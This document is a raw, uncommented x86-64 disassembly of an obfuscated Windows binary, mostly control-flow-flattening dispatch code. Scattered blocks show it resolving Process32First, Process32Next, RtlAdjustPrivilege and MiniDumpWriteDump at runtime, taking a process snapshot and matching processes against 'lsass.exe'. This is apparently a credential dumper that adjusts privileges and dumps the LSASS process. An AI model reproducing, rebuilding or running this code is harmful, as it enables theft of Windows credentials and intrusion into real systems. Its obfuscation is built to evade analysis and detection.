mov eax, 0x27a5d1d2
jmp 0x140001080
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x14000b044], 0xa
setge dl
setl bl
mov eax, ebx
and cl, bl
xor bl, r8b
and al, r8b
or dl, r8b
and dl, bl
xor cl, al
xor cl, dl
mov ecx, 0x3f41ea4f
mov eax, 0xddce6fe1
cmovne ecx, eax
jmp 0x14000108d
cmp qword [rbp + 8], 0
setne byte [rbp + 0x3c]
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x2a5de097
mov eax, 0x1fe50736
jmp 0x140001080
mov ecx, 0xc1168ca0
jmp 0x14000108d
mov ecx, 0xf94ef678
jmp 0x14000108d
mov ecx, 0x6b094de9
jmp 0x14000108d
mov ecx, 0x447ace12
jmp 0x14000108d
mov ecx, 0xe0f873b8
jmp 0x14000108d
mov ecx, 0x50c3e9c8
jmp 0x14000108d
mov ecx, 0x1ad2a9be
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xb02f03c0
mov eax, 0xed6e17ab
jmp 0x140001080
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xa3a6ea41
mov eax, 0x8a36b8d8
jmp 0x140001080
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
mov ecx, 0xa45db5b7
mov ebx, 0x50baa04
jmp 0x140006000
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xb3d8b14c
mov eax, 0x68cb4a71
jmp 0x140001080
mov edx, dword [0x14000b040]
mov edi, dword [0x14000b044]
lea ecx, [rdx - 1]
imul ecx, edx
and ecx, 1
sete r8b
cmp edi, 0xa
setge r9b
setl al
mov edx, ecx
and dl, al
xor al, r8b
mov ebx, eax
xor bl, 1
or dl, bl
or r9b, r8b
xor dl, r9b
mov ebx, 0xe45d9a63
mov esi, 0xe1bc9eae
cmovne ebx, esi
test al, al
mov eax, 0xe1bc9eae
cmovne eax, ebx
test r9b, r9b
cmove eax, ebx
test dl, dl
mov edx, 0xe45d9a63
cmovne eax, edx
test ecx, ecx
mov ecx, eax
cmove ecx, edx
cmp edi, 0xa
cmovge ecx, eax
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x60cc0bdf
mov eax, 0x6d9181fb
jmp 0x140001080
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x2a5cd09b
mov eax, 0x1cc46a6
jmp 0x140001080
cmp byte [rbp + 0x3c], 0
mov ecx, 0x11ea2476
mov eax, 0x1ef54d89
cmovne ecx, eax
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xaf289448
mov eax, 0x6e99fef0
jmp 0x140001080
mov rax, qword [rbp - 0x70]
shr rax, 0x14
mov qword [rbp - 0x48], rax
mov ecx, 0xdcd5defc
jmp 0x14000108d
mov ecx, 0xaa861017
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xe842222f
mov eax, 0xee1ca56b
jmp 0x140001080
mov ecx, dword [0x14000b040]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
sete bl
cmp dword [0x14000b044], 0xa
setge r8b
setl r9b
mov r10d, r9d
xor r10b, bl
mov edx, r9d
and dl, bl
mov ecx, ebx
or cl, r8b
xor cl, dl
xor cl, 1
movzx ecx, cl
movzx edx, dl
test r10b, r10b
cmove edx, ecx
and bl, r8b
xor bl, r10b
or al, r9b
xor al, bl
test dl, dl
mov ecx, 0x5a289591
mov edx, 0x6aaed7b7
cmovne ecx, edx
test al, al
cmove ecx, edx
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete r8b
cmp dword [0x14000b044], 0xa
setge cl
setl dl
mov eax, edx
xor al, r8b
or dl, r8b
mov ebx, eax
xor bl, 1
or cl, r8b
and cl, bl
xor cl, dl
xor cl, al
mov ecx, 0xa3e25be9
mov eax, 0xbce6148c
cmovne ecx, eax
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x14000b044], 0xa
setge cl
setl dl
mov ebx, edx
and bl, al
xor dl, al
xor dl, 1
or cl, al
and cl, dl
xor cl, bl
mov ecx, 0xe23b2bba
mov eax, 0xf9042bcb
cmovne ecx, eax
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xcabff6b5
mov eax, 0xf6f3faa7
jmp 0x140001080
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x3c18e90d
mov eax, 0xc40951a0
jmp 0x140001080
mov ecx, 0x68f22202
jmp 0x14000108d
mov ecx, 0x2f539a97
jmp 0x14000108d
mov ecx, 0xb97b5ae2
jmp 0x14000108d
mov ecx, 0x278a2509
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x3f41ea4f
mov eax, 0xcab06a7
jmp 0x140001080
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xad0be848
mov eax, 0x2767b857
cmovne ecx, eax
cmp dword [0x14000b044], 0xa
mov eax, 0xad0be848
cmovl ecx, eax
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x509e2bc6
mov eax, 0x3fd06975
jmp 0x140001080
mov rcx, qword [rbp - 0x18]
sub rsp, 0x20
mov dword [rbp + 4], 0
mov r8d, 0x238
xor edx, edx
call sub.VCRUNTIME140.dll_memset
add rsp, 0x20
mov rax, qword [rbp + 0x20]
mov dword [rax], 0x238
mov rdx, qword [rbp + 0x20]
mov rcx, qword [rbp - 0x68]
sub rsp, 0x20
call sub.KERNEL32.dll_Process32FirstW
add rsp, 0x20
test eax, eax
mov ecx, 0xd37db717
mov eax, 0x5d156038
cmove ecx, eax
xor r14d, r14d
lea r12, [0x14000a268]
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x14000b044], 0xa
setl dl
mov ebx, edx
xor bl, al
mov ecx, edx
or cl, al
xor cl, bl
and dl, al
mov eax, edx
xor al, cl
not al
or al, cl
xor al, dl
test bl, bl
mov ecx, 0xbd11f2bd
mov edx, 0x16e9826d
cmovne ecx, edx
test al, 1
cmove ecx, edx
jmp 0x14000108d
mov ecx, 0xc4ef2f4a
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x2f539a97
mov eax, 0xad6eacb4
cmovne ecx, eax
cmp dword [0x14000b044], 0xa
mov eax, 0x2f539a97
cmovl ecx, eax
jmp 0x14000108d
mov ecx, 0x37a85428
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x14000b044], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, dl
mov ecx, 0x1c4ceaa7
mov eax, 0x6b1b5402
jmp 0x140006728
mov rcx, qword [rbp - 0x30]
sub rsp, 0x20
lea rdx, str.lsass.exe
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
add rsp, 0x20
mov ecx, 0x188a8e09
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x14000b044], 0xa
setl cl
mov edx, ecx
or dl, al
mov ebx, ecx
xor bl, al
xor dl, bl
and cl, al
mov eax, ecx
xor al, dl
xor al, 1
or al, dl
and al, cl
xor al, bl
mov ecx, 0x15440cac
mov eax, 0x4f70e192
cmovne ecx, eax
jmp 0x14000108d
mov ecx, 0x2b8328e5
jmp 0x14000108d
mov eax, dword [0x14000b040]
mov ecx, dword [0x14000b044]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp ecx, 0xa
setl bl
xor bl, al
mov edi, 0x3a30e2b7
mov esi, 0x15440cac
cmovne edi, esi
test dl, 1
mov eax, edi
cmove eax, esi
cmp ecx, 0xa
cmovl eax, edi
test dl, 1
mov edx, 0x15440cac
cmove edx, eax
cmp ecx, 0xa
cmovl edx, eax
test bl, bl
mov eax, 0x3a30e2b7
cmovne edx, eax
mov ecx, edx
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x757ba784
mov eax, 0x852ec00a
jmp 0x140001080
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x60bcc61d
mov eax, 0xace71e8
jmp 0x140001080
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xd8d78301
mov eax, 0xcbff6b97
jmp 0x140001080
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x5a92ae9d
mov eax, 0xb97b5ae2
jmp 0x140001080
mov ecx, 0xd161f75c
jmp 0x14000108d
mov ecx, 0xf5f8be98
jmp 0x14000108d
mov ecx, 0x3fb2fce6
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x2cd2b2b5
mov eax, 0xe0e2b85f
jmp 0x140001080
movzx eax, byte [rbp + 0x3f]
movzx r8d, byte [rbp + 0x3e]
mov ebx, eax
xor bl, r8b
mov ecx, r8d
not cl
or cl, al
mov edx, ebx
not dl
and dl, cl
or al, r8b
xor al, dl
test al, 1
mov ecx, 0xe764c933
mov eax, 0x3c73eeef
cmovne ecx, eax
test bl, 1
mov eax, 0xe764c933
cmovne ecx, eax
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete dl
cmp dword [0x14000b044], 0xa
setl r8b
mov eax, r8d
xor al, dl
mov ebx, r8d
or bl, dl
xor bl, al
and r8b, dl
mov edx, r8d
xor dl, bl
mov ecx, ebx
or cl, dl
xor cl, 1
xor bl, 1
or bl, dl
or dl, cl
and bl, r8b
or bl, dl
and cl, al
mov r8d, eax
or r8b, bl
xor r8b, cl
mov ecx, ebx
xor cl, 1
movzx ecx, cl
movzx edx, dl
test al, al
cmove edx, ecx
mov ecx, eax
xor cl, bl
mov r9d, ecx
xor r9b, 1
xor al, 1
and al, bl
or al, r9b
xor al, cl
mov ecx, edx
xor cl, al
mov ebx, ecx
not bl
not dl
and dl, al
or dl, bl
xor dl, cl
test dl, 1
mov ecx, 0x7ff66a73
mov eax, 0x344081d5
cmovne ecx, eax
test r8b, 1
mov eax, 0x7ff66a73
cmove ecx, eax
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x378a391
mov eax, 0x8d303a66
jmp 0x140001080
mov eax, dword [0x14000b040]
lea edi, [rax - 1]
imul edi, eax
test dil, 1
sete al
cmp dword [0x14000b044], 0xa
setl dl
mov ebx, edx
xor bl, al
or al, dl
mov ecx, ebx
xor cl, 1
or dl, dil
and dl, cl
xor dl, al
xor bl, dl
or dl, cl
mov eax, edx
not al
or al, bl
xor al, dl
test al, 1
mov ecx, 0xb66cb8f2
mov eax, 0x56e49b85
cmovne ecx, eax
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xf23bf810
mov eax, 0x9b6fa4b0
cmovne ecx, eax
cmp dword [0x14000b044], 0xa
mov eax, 0xf23bf810
cmovl ecx, eax
jmp 0x14000108d
mov ecx, 0xf94ef678
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x3c8b42ae
mov eax, 0xe8aa3a1d
jmp 0x140001080
sub rsp, 0x20
lea rcx, str.kernel32.dll
call r15
add rsp, 0x20
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x88f9240b
mov eax, 0xbce6148c
cmovne ecx, eax
cmp dword [0x14000b044], 0xa
mov eax, 0x88f9240b
cmovl ecx, eax
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x55391df2
mov eax, 0x5c24664e
jmp 0x140001080
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x14000b044], 0xa
setge dl
setl bl
mov eax, ebx
xor al, r8b
or cl, bl
and cl, al
and dl, r8b
xor dl, cl
xor dl, al
or bl, r8b
xor bl, al
test dl, dl
mov ecx, 0xe26c2333
mov edx, 0xe44e1a96
cmovne ecx, edx
test al, al
cmovne ecx, edx
test bl, bl
cmovne ecx, edx
jmp 0x14000108d
mov ecx, 0x3293bd8b
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xc561bc44
mov eax, 0x1381fb80
jmp 0x140001080
mov ecx, 0x7c1eacbc
jmp 0x14000108d
cmp qword [rbp - 8], 0
setne byte [rbp + 0x3b]
mov ecx, 0xaf963d7b
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xfab675d3
mov eax, 0xf880f0ad
cmovne ecx, eax
cmp dword [0x14000b044], 0xa
mov eax, 0xfab675d3
cmovl ecx, eax
jmp 0x14000108d
cmp byte [rbp + 0x34], 0
mov ecx, 0xea9ab0cd
mov eax, 0x7adc7c86
cmovne ecx, eax
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x14000b044], 0xa
setl bl
mov ecx, ebx
or cl, al
xor bl, al
xor cl, bl
mov ecx, 0x856d0f7
mov eax, 0x4d5baa98
cmovne ecx, eax
test dl, 1
mov edx, 0x856d0f7
cmovne ecx, edx
jmp 0x1400066c8
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x52aaf826
mov eax, 0xf6e35806
cmovne ecx, eax
cmp dword [0x14000b044], 0xa
mov eax, 0x52aaf826
cmovl ecx, eax
jmp 0x14000108d
mov rax, qword [rbp - 0x40]
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x28b0644e
mov eax, 0x134211e3
jmp 0x140001080
mov edx, dword [0x14000b040]
mov edi, dword [0x14000b044]
lea esi, [rdx - 1]
imul esi, edx
test sil, 1
sete dl
cmp edi, 0xa
setge r8b
setl al
xor al, dl
mov ecx, edx
or cl, r8b
and cl, al
mov r9d, ecx
xor r9b, 1
xor al, cl
and dl, r8b
mov ebx, eax
xor bl, 1
and bl, dl
xor dl, al
and dl, r9b
xor dl, bl
mov eax, 0xe19a8f84
mov edx, 0xe6da0eb7
cmovne eax, edx
test cl, cl
mov ecx, 0xe6da0eb7
cmovne ecx, eax
test bl, bl
cmove ecx, eax
test sil, 1
mov eax, ecx
cmove eax, edx
cmp edi, 0xa
cmovge eax, ecx
mov ecx, eax
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xd8d78301
mov eax, 0x7c1eacbc
jmp 0x140001080
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x3051f126
mov eax, 0x6568e898
jmp 0x140001080
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x229e0005
mov eax, 0xad6eacb4
cmovne ecx, eax
cmp dword [0x14000b044], 0xa
mov eax, 0x229e0005
cmovl ecx, eax
jmp 0x14000108d
mov ecx, 0xe5befe2e
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x14000b044], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, dl
mov ecx, 0x311a41ae
mov eax, 0xd7a965b5
jmp 0x140006728
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x344081d5
mov eax, 0x3f880029
jmp 0x140001080
mov ecx, 0xa09dbd48
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xc561bc44
mov eax, 0xd80c4295
jmp 0x140001080
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov eax, dword [0x14000b040]
lea edi, [rax - 1]
imul edi, eax
test dil, 1
sete al
cmp dword [0x14000b044], 0xa
setl dl
mov ebx, edx
xor bl, al
or al, dl
mov ecx, ebx
xor cl, 1
or dl, dil
and dl, al
and dl, cl
xor dl, bl
mov ecx, 0xf9696b2a
mov eax, 0x74fadd4e
cmovne ecx, eax
jmp 0x14000108d
mov ecx, 0x12314118
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x14000b044], 0xa
setl bl
mov eax, ebx
xor al, r8b
mov r9d, eax
xor r9b, 1
mov edx, ebx
and dl, cl
or dl, r9b
xor dl, al
or cl, bl
and cl, dl
and bl, r8b
mov eax, ebx
xor al, cl
xor cl, 1
and cl, bl
xor cl, al
mov ecx, 0x58937646
mov eax, 0xf880f0ad
cmovne ecx, eax
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x55d7bbca
mov eax, 0xbfbd778f
jmp 0x140001080
mov rax, qword [rbp + 0x20]
mov eax, dword [rax + 8]
mov dword [rbp - 0x34], eax
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x970462d3
mov eax, 0xe1031c0e
jmp 0x140001080
mov ecx, 0x2ccce68a
jmp 0x14000108d
mov ecx, 0x84a1241
jmp 0x14000108d
mov rax, qword gs:[0x60]
mov qword [rbp - 0x10], rax
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xcbc856fa
mov eax, 0x2d86cd0d
jmp 0x140001080
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xb02f03c0
mov eax, 0xa352c675
jmp 0x140001080
mov ecx, 0x134211e3
jmp 0x14000108d
mov ecx, 0xc826504c
jmp 0x14000108d
mov ecx, 0x1676a632
jmp 0x14000108d
mov rax, qword [rbp - 0x48]
cmp rax, 9
setb byte [rbp + 0x39]
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x8643f1d6
mov eax, 0x4cb4f864
jmp 0x140001080
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
mov ecx, 0xa3a6ea41
mov ebx, 0xb833675f
cmove ecx, ebx
cmp dword [0x14000b044], 0xa
cmovl ecx, ebx
setl dl
xor dl, al
cmovne ecx, ebx
jmp 0x14000108d
mov rax, qword [rbp - 0x60]
mov rcx, qword [rbp - 0x20]
mov r8, qword [rbp - 0x28]
mov edx, dword [rbp + 0x1c]
sub rsp, 0x40
movups xmmword [rsp + 0x20], xmm6
mov qword [rsp + 0x30], 0
mov r9d, 2
call rax
add rsp, 0x40
mov dword [rbp], eax
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x1c4ceaa7
mov eax, 0xc1b36871
jmp 0x140001080
mov ecx, 0x8b7d68fe
jmp 0x14000108d
mov ecx, 0xf488bcb6
jmp 0x14000108d
mov ecx, 0x79e93321
jmp 0x14000108d
mov ecx, 0xfb281493
jmp 0x14000108d
mov ecx, 0x2266b6ca
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x14000b044], 0xa
setge dl
setl al
mov ebx, eax
xor bl, r8b
or dl, r8b
and dl, bl
and cl, al
xor cl, dl
xor bl, cl
or bl, cl
and al, r8b
mov ecx, eax
and cl, bl
xor al, bl
mov edx, eax
xor dl, cl
test cl, cl
mov ecx, 0xadbd1eb8
mov ebx, 0x9be30828
cmovne ecx, ebx
test al, 1
mov eax, 0xadbd1eb8
cmove ecx, eax
test dl, 1
cmovne ecx, ebx
jmp 0x14000108d
mov rax, qword [rbp + 0x20]
mov ecx, 0xa85ba2f1
jmp 0x14000108d
cmp dword [rbp], 0
setne byte [rbp + 0x34]
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x16daccde
mov eax, 0x9fec5320
jmp 0x140001080
mov ecx, 0x35b16a31
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xd0a64338
mov eax, 0x42649094
jmp 0x140001080
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x90ed2a0c
mov eax, 0x4273a38d
jmp 0x140001080
mov ecx, 0xf102ecbb
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x14000b044], 0xa
setge dl
setl bl
mov r8d, ebx
and r8b, al
and dl, al
xor al, bl
or cl, bl
and cl, al
xor cl, dl
mov edx, eax
xor dl, 1
or dl, cl
xor al, dl
and dl, al
xor dl, r8b
test dl, 1
mov ecx, 0x1ad2a9be
mov edx, 0x3051f126
cmovne ecx, edx
test r8b, r8b
mov edx, ecx
mov ebx, 0x1ad2a9be
cmovne edx, ebx
test al, al
cmovne edx, ecx
mov ecx, edx
jmp 0x14000108d
sub rsp, 0x20
lea rcx, str.ntdll.dll
call r15
add rsp, 0x20
mov ecx, dword [0x14000b040]
mov r10d, dword [0x14000b044]
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
sete r8b
cmp r10d, 0xa
setge dl
setl bl
mov r9d, ebx
xor bl, r8b
or dl, r8b
and r9b, dil
and dl, bl
xor dl, r9b
mov ecx, ebx
xor cl, dl
mov esi, 0x7a211a7b
mov r8d, 0xf36c24cf
cmovne esi, r8d
test bl, bl
cmovne esi, r8d
test dl, dl
cmovne esi, r8d
test edi, edi
mov ecx, esi
cmove ecx, r8d
cmp r10d, 0xa
mov qword [rbp - 8], rax
cmovge ecx, esi
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x14000b044], 0xa
setge cl
setl dl
mov ebx, edx
xor bl, al
and dl, al
or cl, al
xor dl, cl
and cl, bl
xor dl, bl
or dl, cl
mov eax, ebx
xor al, dl
mov eax, 0x48efb2f4
mov ecx, 0x5a289591
cmovne eax, ecx
test dl, dl
mov ecx, 0x48efb2f4
cmovne ecx, eax
test bl, bl
cmove ecx, eax
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x23abe56
mov eax, 0xca39aeb4
jmp 0x140001080
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x67d8a8aa
mov eax, 0xd364fecc
jmp 0x140001080
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x478c7be8
mov eax, 0x1668e482
jmp 0x140001080
mov ecx, 0x96cfa868
jmp 0x14000108d
mov edx, dword [0x14000b040]
mov edi, dword [0x14000b044]
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
sete r8b
cmp edi, 0xa
setge bl
setl al
mov ecx, eax
and cl, sil
xor al, r8b
xor cl, al
and bl, r8b
xor bl, al
mov edx, ecx
xor dl, 1
movzx edx, dl
movzx eax, al
test bl, bl
cmove edx, eax
or bl, cl
xor al, bl
mov eax, 0x8957b753
mov ebx, 0x820426c6
cmovne eax, ebx
test dl, dl
cmovne eax, ebx
test esi, esi
mov ecx, eax
cmove ecx, ebx
cmp edi, 0xa
cmovge ecx, eax
jmp 0x14000108d
mov rax, qword [rbp - 0x48]
mov ecx, 0xacb94b7b
jmp 0x14000108d
mov ecx, 0x526c2903
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete r8b
cmp dword [0x14000b044], 0xa
setge cl
setl dl
mov r9d, edx
xor r9b, r8b
mov ebx, r9d
xor bl, 1
or dl, r8b
or cl, r8b
and cl, bl
and dl, cl
mov r8d, r9d
xor r8b, dl
mov eax, edx
xor al, 1
movzx ecx, cl
movzx eax, al
test r9b, r9b
cmovne eax, ecx
and bl, al
and dl, al
mov eax, r8d
xor al, bl
xor al, dl
xor dl, bl
test r8b, r8b
mov ecx, 0x54f51624
mov ebx, 0x6a16034e
cmovne ecx, ebx
test al, al
cmove ecx, ebx
test dl, dl
cmove ecx, ebx
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x664873fb
mov eax, 0x3f6e0aee
cmovne ecx, eax
cmp dword [0x14000b044], 0xa
mov eax, 0x664873fb
cmovl ecx, eax
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x311a41ae
mov eax, 0xb752982e
jmp 0x140001080
mov ecx, 0x2369dee
jmp 0x14000108d
mov ecx, 0xad0be848
jmp 0x14000108d
mov rax, qword [rbp + 0x20]
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x14000b044], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, dl
mov ecx, 0x58fb95c6
mov eax, 0x5c17e97f
jmp 0x140006728
mov ecx, 0xf4b9ca0a
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x14000b044], 0xa
setl dl
mov r8d, edx
and r8b, al
mov ebx, edx
or bl, cl
xor al, dl
and bl, al
and dl, cl
xor dl, al
or dl, bl
xor dl, r8b
mov ecx, 0x54f51624
mov eax, 0x447ace12
cmovne ecx, eax
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xeafb16aa
mov eax, 0x45afad2e
jmp 0x140001080
mov eax, dword [rbp]
mov ecx, 0x599c8b0e
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xcbc856fa
mov eax, 0xed1653f5
jmp 0x140001080
mov edx, dword [0x14000b040]
mov r9d, dword [0x14000b044]
lea edi, [rdx - 1]
imul edi, edx
and edi, 1
sete dl
cmp r9d, 0xa
setl r8b
setge al
and al, dl
xor dl, r8b
xor al, dl
mov ebx, edi
and bl, r8b
xor bl, dl
movzx esi, al
or al, bl
xor al, 1
or al, dl
movzx edx, dl
test bl, bl
cmove edx, esi
mov ebx, edx
xor bl, al
mov ecx, ebx
not cl
not dl
and dl, al
or dl, cl
xor dl, bl
test dl, 1
mov eax, 0x17fc7349
mov edx, 0x3d43278a
cmovne eax, edx
test edi, edi
mov ecx, eax
cmove ecx, edx
cmp r9d, 0xa
cmovge ecx, eax
jmp 0x14000108d
mov ecx, 0xee87d46e
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x61ba40dc
mov eax, 0xbd8ec023
jmp 0x140001080
mov rcx, qword [rbp + 0x28]
sub rsp, 0x20
lea rdx, str.Process32First
call r13
add rsp, 0x20
mov rcx, qword [rbp + 0x28]
sub rsp, 0x20
lea rdx, str.Process32Next
call r13
add rsp, 0x20
mov rcx, qword [rbp + 8]
sub rsp, 0x20
lea rdx, str.MiniDumpWriteDump
call r13
add rsp, 0x20
mov rcx, qword [rbp + 0x28]
sub rsp, 0x20
lea rdx, str.CreateFileA
call r13
add rsp, 0x20
mov rcx, qword [rbp - 8]
sub rsp, 0x20
lea rdx, str.RtlAdjustPrivilege
call r13
mov ecx, 2
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
add rsp, 0x20
mov rax, qword [rbp + 0x20]
mov ecx, 0x18cecb75
jmp 0x14000108d
mov ecx, 0xd572155b
jmp 0x14000108d
mov ecx, 0x2b487530
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x14000b044], 0xa
setge dl
setl bl
mov ecx, ebx
xor cl, al
and bl, al
xor cl, 1
or dl, al
and dl, cl
mov eax, ebx
xor al, dl
mov ecx, 0x2df448e9
mov eax, 0x6ad787c4
cmovne ecx, eax
test dl, dl
mov eax, 0x2df448e9
cmove ecx, eax
